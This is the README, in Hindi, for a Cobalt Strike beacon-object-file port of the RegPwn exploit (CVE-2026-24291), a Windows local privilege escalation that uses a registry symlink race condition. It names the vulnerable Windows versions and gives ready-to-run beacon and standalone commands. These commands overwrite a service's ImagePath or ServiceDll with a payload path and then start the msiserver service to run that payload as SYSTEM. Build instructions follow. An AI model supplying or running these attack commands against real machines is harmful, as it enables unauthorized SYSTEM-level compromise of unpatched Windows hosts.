RegPwn BOF

Cobalt Strike BOF पोर्ट RegPwn एक्सप्लॉइट का, Filip Dragovic (@Wh04m1001) / MDSec ActiveBreach द्वारा।

यह मूल C# एक्सप्लॉइट का एक ढीला-ढाला BOF पुनःकार्यान्वयन है। भेद्यता अनुसंधान और एक्सप्लॉइट का सारा श्रेय Filip Dragovic और MDSec को जाता है।

• ब्लॉग पोस्ट: https://www.mdsec.co.uk/2026/03/rip-regpwn/
• मूल रिपॉजिटरी: https://github.com/mdsecactivebreach/RegPwn
• CVE: CVE-2026-24291

यह क्या करता है

विंडोज एक्सेसिबिलिटी ATConfig मैकेनिज्म में रजिस्ट्री सिमलिंक रेस कंडीशन का शोषण करता है, जिससे सामान्य उपयोगकर्ता संदर्भ से संरक्षित HKLM रजिस्ट्री कुंजियों में मनमानी वैल्यू लिखी जा सकती हैं (स्थानीय विशेषाधिकार वृद्धि)।

Windows 11 25H2/24H2, Windows 10 21H2, और Windows Server 2016/2019/2022 को मार्च 2026 पैच से पहले लक्षित करता है।

चेतावनी: यह एक्सप्लॉइट रेस कंडीशन के हिस्से के रूप में वर्कस्टेशन को लॉक कर देता है।

डिफ़ॉल्ट लक्ष्य

msiserver (विंडोज इंस्टालर) सेवा का ImagePath। यह सेवा SYSTEM के रूप में चलती है और सामान्य उपयोगकर्ताओं द्वारा शुरू की जा सकती है।

उपयोग

Cobalt Strike

regpwn.cna को स्क्रिप्ट मैनेजर में लोड करें, फिर:

beacon> regpwn "cmd.exe /c C:\Programdata\payload.exe"
beacon> regpwn C:\payload.exe SYSTEM\CurrentControlSet\Services\msiserver ImagePath
beacon> regpwn C:\evil.dll SYSTEM\CurrentControlSet\Services\SomeService\Parameters ServiceDll

स्टैंडअलोन परीक्षण

regpwn.x64.exe "cmd.exe /c C:\Programdata\payload.exe"
regpwn.x64.exe C:\payload.exe SYSTEM\CurrentControlSet\Services\OtherService ImagePath

एक्सप्लॉइट के सफल होने के बाद, सेवा को SYSTEM के रूप में निष्पादित करने के लिए प्रारंभ करें:

net start msiserver

निर्माण

x86_64-w64-mingw32-gcc (MinGW-w64 क्रॉस कंपाइलर) की आवश्यकता है।

make        # build BOF (regpwn.x64.o)
make test   # build standalone EXE (regpwn.x64.exe)
make clean

केवल x64।